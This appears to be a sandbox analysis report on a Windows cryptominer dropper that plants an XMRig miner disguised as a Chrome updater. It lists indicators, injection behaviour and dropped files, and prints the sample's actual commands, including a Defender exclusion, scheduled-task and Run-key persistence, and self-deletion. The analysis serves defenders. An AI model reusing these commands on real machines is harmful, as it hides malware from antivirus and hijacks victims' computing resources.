Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
485s -
max time network
1793s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
24-01-2024 17:15
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231129-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
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Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
6aNn9vLJCQVfagSE.exeupdater.execonhost.exedescription pid process target process PID 1648 created 1136 1648 6aNn9vLJCQVfagSE.exe Explorer.EXE PID 1648 created 1136 1648 6aNn9vLJCQVfagSE.exe Explorer.EXE PID 1648 created 1136 1648 6aNn9vLJCQVfagSE.exe Explorer.EXE PID 1648 created 1136 1648 6aNn9vLJCQVfagSE.exe Explorer.EXE PID 2636 created 1136 2636 updater.exe Explorer.EXE PID 2636 created 1136 2636 updater.exe Explorer.EXE PID 2636 created 1136 2636 updater.exe Explorer.EXE PID 2636 created 1136 2636 updater.exe Explorer.EXE PID 2028 created 1136 2028 conhost.exe Explorer.EXE PID 2636 created 1136 2636 updater.exe Explorer.EXE -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral3/memory/1836-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/1836-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2580 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2636 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1360 taskeng.exe -
Processes:
resource yara_rule behavioral3/memory/1836-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/1836-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2636 set thread context of 2028 2636 updater.exe conhost.exe PID 2636 set thread context of 1836 2636 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
6aNn9vLJCQVfagSE.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe 6aNn9vLJCQVfagSE.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2612 schtasks.exe 1416 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90c93e9fb54fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
6aNn9vLJCQVfagSE.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1648 6aNn9vLJCQVfagSE.exe 1648 6aNn9vLJCQVfagSE.exe 2708 powershell.exe 1648 6aNn9vLJCQVfagSE.exe 1648 6aNn9vLJCQVfagSE.exe 2452 powershell.exe 1648 6aNn9vLJCQVfagSE.exe 1648 6aNn9vLJCQVfagSE.exe 1648 6aNn9vLJCQVfagSE.exe 1648 6aNn9vLJCQVfagSE.exe 2572 powershell.exe 2636 updater.exe 2636 updater.exe 1560 powershell.exe 2636 updater.exe 2636 updater.exe 1020 powershell.exe 2636 updater.exe 2636 updater.exe 2636 updater.exe 2636 updater.exe 2028 conhost.exe 2028 conhost.exe 2636 updater.exe 2636 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2708 powershell.exe Token: SeDebugPrivilege 2452 powershell.exe Token: SeDebugPrivilege 2572 powershell.exe Token: SeDebugPrivilege 1560 powershell.exe Token: SeDebugPrivilege 1020 powershell.exe Token: SeDebugPrivilege 2636 updater.exe Token: SeAssignPrimaryTokenPrivilege 1956 WMIC.exe Token: SeIncreaseQuotaPrivilege 1956 WMIC.exe Token: SeSecurityPrivilege 1956 WMIC.exe Token: SeTakeOwnershipPrivilege 1956 WMIC.exe Token: SeLoadDriverPrivilege 1956 WMIC.exe Token: SeSystemtimePrivilege 1956 WMIC.exe Token: SeBackupPrivilege 1956 WMIC.exe Token: SeRestorePrivilege 1956 WMIC.exe Token: SeShutdownPrivilege 1956 WMIC.exe Token: SeSystemEnvironmentPrivilege 1956 WMIC.exe Token: SeUndockPrivilege 1956 WMIC.exe Token: SeManageVolumePrivilege 1956 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1956 WMIC.exe Token: SeIncreaseQuotaPrivilege 1956 WMIC.exe Token: SeSecurityPrivilege 1956 WMIC.exe Token: SeTakeOwnershipPrivilege 1956 WMIC.exe Token: SeLoadDriverPrivilege 1956 WMIC.exe Token: SeSystemtimePrivilege 1956 WMIC.exe Token: SeBackupPrivilege 1956 WMIC.exe Token: SeRestorePrivilege 1956 WMIC.exe Token: SeShutdownPrivilege 1956 WMIC.exe Token: SeSystemEnvironmentPrivilege 1956 WMIC.exe Token: SeUndockPrivilege 1956 WMIC.exe Token: SeManageVolumePrivilege 1956 WMIC.exe Token: SeLockMemoryPrivilege 1836 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2452 wrote to memory of 2612 2452 powershell.exe schtasks.exe PID 2452 wrote to memory of 2612 2452 powershell.exe schtasks.exe PID 2452 wrote to memory of 2612 2452 powershell.exe schtasks.exe PID 2580 wrote to memory of 2644 2580 cmd.exe choice.exe PID 2580 wrote to memory of 2644 2580 cmd.exe choice.exe PID 2580 wrote to memory of 2644 2580 cmd.exe choice.exe PID 2572 wrote to memory of 1256 2572 powershell.exe schtasks.exe PID 2572 wrote to memory of 1256 2572 powershell.exe schtasks.exe PID 2572 wrote to memory of 1256 2572 powershell.exe schtasks.exe PID 1360 wrote to memory of 2636 1360 taskeng.exe updater.exe PID 1360 wrote to memory of 2636 1360 taskeng.exe updater.exe PID 1360 wrote to memory of 2636 1360 taskeng.exe updater.exe PID 1020 wrote to memory of 1416 1020 powershell.exe schtasks.exe PID 1020 wrote to memory of 1416 1020 powershell.exe schtasks.exe PID 1020 wrote to memory of 1416 1020 powershell.exe schtasks.exe PID 2636 wrote to memory of 2028 2636 updater.exe conhost.exe PID 840 wrote to memory of 1956 840 cmd.exe WMIC.exe PID 840 wrote to memory of 1956 840 cmd.exe WMIC.exe PID 840 wrote to memory of 1956 840 cmd.exe WMIC.exe PID 2636 wrote to memory of 1836 2636 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵
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C:\Windows\system32\taskeng.exetaskeng.exe {E2353030-833D-4F10-B25D-68A451A18EE1} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
99KB
MD5605517f4855ce0ab5ee048da4ef31598
SHA17f04d2b34bd92672de7f7d9bb509b4ed2fd14748
SHA2565e410a969152cb19c5d62f8130561dcf12b80153c13bb0b49e6351cde390e00f
SHA51259361668b88e540a67999778d6fe25bd43fcbb8b7a2671b491ea8bdd57ab51add0aa996f0829795bad8dd599eff54fe25d498302801a2963a76a199b4e818f34
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E2V3FHDKVNTXP5FK5141.tempFilesize
7KB
MD502451a0ea133fba314b18257ccc6f1b6
SHA14c1a68c892e3226af9712b32799350ced2580fce
SHA2561b5fafe3a5eba3a00f2fd8dc86104abb4b3fe60a091ec23ffb60bcc9b9e5532a
SHA512503c3b878f752657f6925524f9e195f2df2952fd089c3926d88d08dd420b0c796e0d4fd4035171579bb346463c07276d3b1258aee93f9cc753d9c3d35f50945f
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
64KB
MD56ca1a5cef532c8dfe2d166ad9962793d
SHA130ef6a496f16323cb209dfe0295df3a055607596
SHA256a264c5c6f0e723b828d5d53e440809950d10303843fbde83e0f9baf3d1a6bb4d
SHA5126d3f17a563ce2ceae705e67c47372ca123f0bd591cf995d142082c0dbb947aef9c3102b7cf73fc10c01a8fa00f49ee353007ab14060dd55598b90ff5e27f32be
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memory/1020-52-0x000007FEF59E0000-0x000007FEF637D000-memory.dmpFilesize
9.6MB
-
memory/1020-57-0x0000000000A90000-0x0000000000B10000-memory.dmpFilesize
512KB
